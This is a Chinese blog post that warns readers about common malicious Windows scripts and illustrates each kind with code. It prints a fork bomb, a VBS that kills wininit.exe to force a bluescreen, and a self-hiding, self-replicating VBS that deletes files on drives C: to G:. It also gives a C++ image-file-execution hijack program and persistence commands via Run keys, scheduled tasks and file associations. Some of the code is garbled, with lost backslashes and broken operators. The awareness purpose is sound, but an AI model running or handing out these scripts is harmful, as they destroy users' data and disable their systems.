zoukankan      html  css  js  c++  java
  • 恶意代码要注意

    这里有几个常用的恶意程序,如果有人发这些代码,请不要轻信。

    1.关机

    关键代码:shutdown -s (后加其他内容,如-f -t 0之类的。)

    2.蓝屏

    针对不好机子的BAT代码:%0|%0或%0||(%0|%0)||%0之类的。

    通用的VBS代码:

    
    On Error Resume Next
    sub killtsk(ProcessName)
    On Error Resume Next
    for each ps in getobject("winmgmts:\.
    ootcimv2:win32_process").instances_
    if Ucase(ps.name)=Ucase(ProcessName) then
    ps.terminate
    end if
    next
    end sub
    set ws=Wscript.createobject("wscript.shell")
    ws.run "taskmgr.exe",0
    killtsk("wininit.exe")
    

    3.注册表操作/文件夹操作实现开机自启动

    winXP:警惕涉及C:Documents and Settings<用户名字>「开始」菜单程序启动 文件夹操作的程序。

    win7:警惕涉及C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup文件夹操作的程序。 警惕凡出现HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun及类似含“Run”注册表路径的程序。

    4.隐藏桌面、任务栏、运行窗口

    关键C++代码:

    inline void hide(){
    HWND hwnd=GetForegroundWindow(),
    hTaskBar=FindWindow(“Shell_TrayWnd”,NULL),
    hDeskIcon=FindWindow(“Progman”,NULL),
    hwndDesk=GetDesktopWindow();
    ShowWindow(hwnd,false);
    ShowWindow(hTaskBar,SW_SHOW);
    ShowWindow(hDeskIcon,SW_SHOW);
    }

    5.删除或感染

    此类操作一般为修改文件。

    这是一个大量删除文件并自我复制,弹出无限错误窗口卡死机的VBS脚本:

    On Error Resume Next
    Sub fdel(sPath)
    Set oFso = CreateObject(“Scripting.FileSystemObject”)
    Set oFolder = oFso.GetFolder(sPath)
    Set oSubFolders = oFolder.SubFolders
    Set oFiles = oFolder.Files
    For Each oFile In oFiles
    oFile.Delete
    Next
    For Each oSubFolder In oSubFolders
    oSubFolder.Delete
    Next
    Set oFolder = Nothing
    Set oSubFolders = Nothing
    Set oFso = Nothing
    End Sub
    set ws=Wscript.createobject(“wscript.shell”)
    set fso=wscript.createobject(“scripting.filesystemobject”)
    set file=fso.getfile(wscript.scriptfullname)
    path=file.path
    file.attributes=1+2+4
    ws.run path,0
    msgbox “错误代码:0x10a2d5”,16,“系统警告”
    fdel(“G:”)
    fdel(“F:”)
    fdel(“E:”)
    fdel(“D:”)
    fdel(“C:”)

    6.添加任务计划以实现定时启动

    关键BAT代码:

    at 时间 /every:日期 一些BAT代码

    7.逃杀

    试图生成文本文件写入代码并在运行时才以参数传入以避免杀毒软件查杀,或者加密成乱码也有一定的逃杀效果。遇到此类文件,必须检查文本文件的内容。有时编写者可能同时使用两种方法,使得文本文件为乱码。遇到这一类的程序,请勿随便运行。

    8.修改文件关联

    关键BAT代码:assoc.后缀名=指定的文件关联

    这可能会破坏文件,或者增加恶意程序被打开的几率(即将其他文件的关联指向自身)。

    9.映像劫持

    此类恶意程序风险极高,可以认为是强行修改文件关联,样例C++代码:

    #include <windows.h>
    int main(int argc, char* argv[]){
    char temp[256];
    DWORD ret;
    LPCTSTR szRegKey=“SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options”;
    HKEY h_KEY;
    if(argc!=1)
    {
    memset(temp,0,256);
    strcpy(temp,argv[1]);
    for(int i=0;i<strlen(temp);i++)
    if(temp[i]’’)
    temp[i]=’/’;
    ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY);
    if(ret
    ERROR_SUCCESS)
    {
    if(ERROR_SUCCESS==RegDeleteKey(h_KEY,“rav.exe”))
    RegCloseKey(h_KEY),
    WinExec(temp,SW_SHOW);
    else
    RegCloseKey(h_KEY);
    }
    else printf(“open failed! ”);
    }
    memset(temp,0,256);
    GetModuleFileName(NULL,temp,256);
    HKEY hResultKey = NULL;
    if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY))
    {
    DWORD dw;
    ret = RegCreateKeyEx(h_KEY,“rav.exe”, 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw);
    if (ret!=ERROR_SUCCESS)
    RegCloseKey(h_KEY),
    return 1;
    ret=RegSetValueEx(hResultKey,“debugger”,0,REG_SZ,(const BYTE *)temp,strlen(temp)+1);
    if(ret!=ERROR_SUCCESS)
    RegCloseKey(h_KEY),
    RegCloseKey(hResultKey),
    return 1;
    RegCloseKey(h_KEY);
    RegCloseKey(hResultKey);
    }
    return 0;
    }

    我能想到的暂时就这么多了,也许对大家有所帮助。

  • 相关阅读:
    rn相关文档
    《浅谈我眼中的express、koa和koa2》好文留存+笔记
    (四)Spring 对DAO 的支持
    (三)Spring 之AOP 详解
    (二)Spring 之IOC 详解
    SVN文件上感叹号、加号、问号等图标的原因
    Windows平台下不同版本SVN对比
    eclipse中启动Genymotion模拟器的错误
    (一)问候Spring4
    (十一)Hibernate 高级配置
  • 原文地址:https://www.cnblogs.com/ShineEternal/p/10834351.html
Copyright © 2011-2022 走看看